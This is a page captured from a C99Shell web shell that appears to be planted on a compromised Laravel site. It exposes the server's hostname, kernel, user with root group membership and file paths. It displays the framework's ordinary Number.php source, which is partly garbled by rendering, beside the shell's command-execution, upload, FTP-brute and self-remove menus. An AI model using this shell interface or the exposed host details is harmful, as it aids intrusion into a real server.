!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/gwp.picotech.app/public_html/vendor/laravel/framework/src/Illuminate/Support/   drwxr-xr-x
Free 28.64 GB of 117.98 GB (24.28%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Number.php (12.25 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Support;

use 
Illuminate\Support\Traits\Macroable;
use 
NumberFormatter;
use 
RuntimeException;

class 
Number
{
    use 
Macroable;

    
/**
     * The current default locale.
     *
     * @var string
     */
    
protected static $locale 'en';

    
/**
     * The current default currency.
     *
     * @var string
     */
    
protected static $currency 'USD';

    
/**
     * Format the given number according to the current locale.
     *
     * @param  int|float  $number
     * @param  int|null  $precision
     * @param  int|null  $maxPrecision
     * @param  string|null  $locale
     * @return string|false
     */
    
public static function format(int|float $number, ?int $precision null, ?int $maxPrecision null, ?string $locale null)
    {
        static::
ensureIntlExtensionIsInstalled();

        
$formatter = new NumberFormatter($locale ?? static::$localeNumberFormatter::DECIMAL);

        if (! 
is_null($maxPrecision)) {
            
$formatter->setAttribute(NumberFormatter::MAX_FRACTION_DIGITS$maxPrecision);
        } elseif (! 
is_null($precision)) {
            
$formatter->setAttribute(NumberFormatter::FRACTION_DIGITS$precision);
        }

        return 
$formatter->format($number);
    }

    
/**
     * Parse the given string according to the specified format type.
     *
     * @param  string  $string
     * @param  int|null  $type
     * @param  string|null  $locale
     * @return int|float|false
     */
    
public static function parse(string $string, ?int $type NumberFormatter::TYPE_DOUBLE, ?string $locale null): int|float
    
{
        static::
ensureIntlExtensionIsInstalled();

        
$formatter = new NumberFormatter($locale ?? static::$localeNumberFormatter::DECIMAL);

        return 
$formatter->parse($string$type);
    }

    
/**
     * Parse a string into an integer according to the specified locale.
     *
     * @param  string  $string
     * @param  string|null  $locale
     * @return int|false
     */
    
public static function parseInt(string $string, ?string $locale null): int
    
{
        return 
self::parse($stringNumberFormatter::TYPE_INT32$locale);
    }

    
/**
     * Parse a string into a float according to the specified locale.
     *
     * @param  string  $string
     * @param  string|null  $locale
     * @return float|false
     */
    
public static function parseFloat(string $string, ?string $locale null): float
    
{
        return 
self::parse($stringNumberFormatter::TYPE_DOUBLE$locale);
    }

    
/**
     * Spell out the given number in the given locale.
     *
     * @param  int|float  $number
     * @param  string|null  $locale
     * @param  int|null  $after
     * @param  int|null  $until
     * @return string
     */
    
public static function spell(int|float $number, ?string $locale null, ?int $after null, ?int $until null)
    {
        static::
ensureIntlExtensionIsInstalled();

        if (! 
is_null($after) && $number <= $after) {
            return static::
format($numberlocale$locale);
        }

        if (! 
is_null($until) && $number >= $until) {
            return static::
format($numberlocale$locale);
        }

        
$formatter = new NumberFormatter($locale ?? static::$localeNumberFormatter::SPELLOUT);

        return 
$formatter->format($number);
    }

    
/**
     * Convert the given number to ordinal form.
     *
     * @param  int|float  $number
     * @param  string|null  $locale
     * @return string
     */
    
public static function ordinal(int|float $number, ?string $locale null)
    {
        static::
ensureIntlExtensionIsInstalled();

        
$formatter = new NumberFormatter($locale ?? static::$localeNumberFormatter::ORDINAL);

        return 
$formatter->format($number);
    }

    
/**
     * Spell out the given number in the given locale in ordinal form.
     *
     * @param  int|float  $number
     * @param  string|null  $locale
     * @return string
     */
    
public static function spellOrdinal(int|float $number, ?string $locale null)
    {
        static::
ensureIntlExtensionIsInstalled();

        
$formatter = new NumberFormatter($locale ?? static::$localeNumberFormatter::SPELLOUT);

        
$formatter->setTextAttribute(NumberFormatter::DEFAULT_RULESET'%spellout-ordinal');

        return 
$formatter->format($number);
    }

    
/**
     * Convert the given number to its percentage equivalent.
     *
     * @param  int|float  $number
     * @param  int  $precision
     * @param  int|null  $maxPrecision
     * @param  string|null  $locale
     * @return string|false
     */
    
public static function percentage(int|float $numberint $precision 0, ?int $maxPrecision null, ?string $locale null)
    {
        static::
ensureIntlExtensionIsInstalled();

        
$formatter = new NumberFormatter($locale ?? static::$localeNumberFormatter::PERCENT);

        if (! 
is_null($maxPrecision)) {
            
$formatter->setAttribute(NumberFormatter::MAX_FRACTION_DIGITS$maxPrecision);
        } else {
            
$formatter->setAttribute(NumberFormatter::FRACTION_DIGITS$precision);
        }

        return 
$formatter->format($number 100);
    }

    
/**
     * Convert the given number to its currency equivalent.
     *
     * @param  int|float  $number
     * @param  string  $in
     * @param  string|null  $locale
     * @param  int|null  $precision
     * @return string|false
     */
    
public static function currency(int|float $numberstring $in '', ?string $locale null, ?int $precision null)
    {
        static::
ensureIntlExtensionIsInstalled();

        
$formatter = new NumberFormatter($locale ?? static::$localeNumberFormatter::CURRENCY);

        if (! 
is_null($precision)) {
            
$formatter->setAttribute(NumberFormatter::FRACTION_DIGITS$precision);
        }

        return 
$formatter->formatCurrency($number, ! empty($in) ? $in : static::$currency);
    }

    
/**
     * Convert the given number to its file size equivalent.
     *
     * @param  int|float  $bytes
     * @param  int  $precision
     * @param  int|null  $maxPrecision
     * @return string
     */
    
public static function fileSize(int|float $bytesint $precision 0, ?int $maxPrecision null)
    {
        
$units = ['B''KB''MB''GB''TB''PB''EB''ZB''YB'];

        
$unitCount count($units);

        for (
$i 0; ($bytes 1024) > 0.9 && ($i $unitCount 1); $i++) {
            
$bytes /= 1024;
        }

        return 
sprintf('%s %s', static::format($bytes$precision$maxPrecision), $units[$i]);
    }

    
/**
     * Convert the number to its human-readable equivalent.
     *
     * @param  int|float  $number
     * @param  int  $precision
     * @param  int|null  $maxPrecision
     * @return bool|string
     */
    
public static function abbreviate(int|float $numberint $precision 0, ?int $maxPrecision null)
    {
        return static::
forHumans($number$precision$maxPrecisionabbreviatetrue);
    }

    
/**
     * Convert the number to its human-readable equivalent.
     *
     * @param  int|float  $number
     * @param  int  $precision
     * @param  int|null  $maxPrecision
     * @param  bool  $abbreviate
     * @return string|false
     */
    
public static function forHumans(int|float $numberint $precision 0, ?int $maxPrecision nullbool $abbreviate false)
    {
        return static::
summarize($number$precision$maxPrecision$abbreviate ? [
            
=> 'K',
            
=> 'M',
            
=> 'B',
            
12 => 'T',
            
15 => 'Q',
        ] : [
            
=> ' thousand',
            
=> ' million',
            
=> ' billion',
            
12 => ' trillion',
            
15 => ' quadrillion',
        ]);
    }

    
/**
     * Convert the number to its human-readable equivalent.
     *
     * @param  int|float  $number
     * @param  int  $precision
     * @param  int|null  $maxPrecision
     * @param  array  $units
     * @return string|false
     */
    
protected static function summarize(int|float $numberint $precision 0, ?int $maxPrecision null, array $units = [])
    {
        if (empty(
$units)) {
            
$units = [
                
=> 'K',
                
=> 'M',
                
=> 'B',
                
12 => 'T',
                
15 => 'Q',
            ];
        }

        switch (
true) {
            case 
floatval($number) === 0.0:
                return 
$precision ? static::format(0$precision$maxPrecision) : '0';
            case 
$number 0:
                return 
sprintf('-%s', static::summarize(abs($number), $precision$maxPrecision$units));
            case 
$number >= 1e15:
                return 
sprintf('%s'.end($units), static::summarize($number 1e15$precision$maxPrecision$units));
        }

        
$numberExponent floor(log10($number));
        
$displayExponent $numberExponent - ($numberExponent 3);
        
$number /= pow(10$displayExponent);

        return 
trim(sprintf('%s%s', static::format($number$precision$maxPrecision), $units[$displayExponent] ?? ''));
    }

    
/**
     * Clamp the given number between the given minimum and maximum.
     *
     * @param  int|float  $number
     * @param  int|float  $min
     * @param  int|float  $max
     * @return int|float
     */
    
public static function clamp(int|float $numberint|float $minint|float $max)
    {
        return 
min(max($number$min), $max);
    }

    
/**
     * Split the given number into pairs of min/max values.
     *
     * @param  int|float  $to
     * @param  int|float  $by
     * @param  int|float  $start
     * @param  int|float  $offset
     * @return array
     */
    
public static function pairs(int|float $toint|float $byint|float $start 0int|float $offset 1)
    {
        
$output = [];

        for (
$lower $start$lower $to$lower += $by) {
            
$upper $lower $by $offset;

            if (
$upper $to) {
                
$upper $to;
            }

            
$output[] = [$lower$upper];
        }

        return 
$output;
    }

    
/**
     * Remove any trailing zero digits after the decimal point of the given number.
     *
     * @param  int|float  $number
     * @return int|float
     */
    
public static function trim(int|float $number)
    {
        return 
json_decode(json_encode($number));
    }

    
/**
     * Execute the given callback using the given locale.
     *
     * @param  string  $locale
     * @param  callable  $callback
     * @return mixed
     */
    
public static function withLocale(string $locale, callable $callback)
    {
        
$previousLocale = static::$locale;

        static::
useLocale($locale);

        try {
            return 
$callback();
        } finally {
            static::
useLocale($previousLocale);
        }
    }

    
/**
     * Execute the given callback using the given currency.
     *
     * @param  string  $currency
     * @param  callable  $callback
     * @return mixed
     */
    
public static function withCurrency(string $currency, callable $callback)
    {
        
$previousCurrency = static::$currency;

        static::
useCurrency($currency);

        try {
            return 
$callback();
        } finally {
            static::
useCurrency($previousCurrency);
        }
    }

    
/**
     * Set the default locale.
     *
     * @param  string  $locale
     * @return void
     */
    
public static function useLocale(string $locale)
    {
        static::
$locale $locale;
    }

    
/**
     * Set the default currency.
     *
     * @param  string  $currency
     * @return void
     */
    
public static function useCurrency(string $currency)
    {
        static::
$currency $currency;
    }

    
/**
     * Get the default locale.
     *
     * @return string
     */
    
public static function defaultLocale()
    {
        return static::
$locale;
    }

    
/**
     * Get the default currency.
     *
     * @return string
     */
    
public static function defaultCurrency()
    {
        return static::
$currency;
    }

    
/**
     * Ensure the "intl" PHP extension is installed.
     *
     * @return void
     *
     * @throws \RuntimeException
     */
    
protected static function ensureIntlExtensionIsInstalled()
    {
        if (! 
extension_loaded('intl')) {
            
$method debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS2)[1]['function'];

            throw new 
RuntimeException('The "intl" PHP extension is required to use the ['.$method.'] method.');
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0048 ]--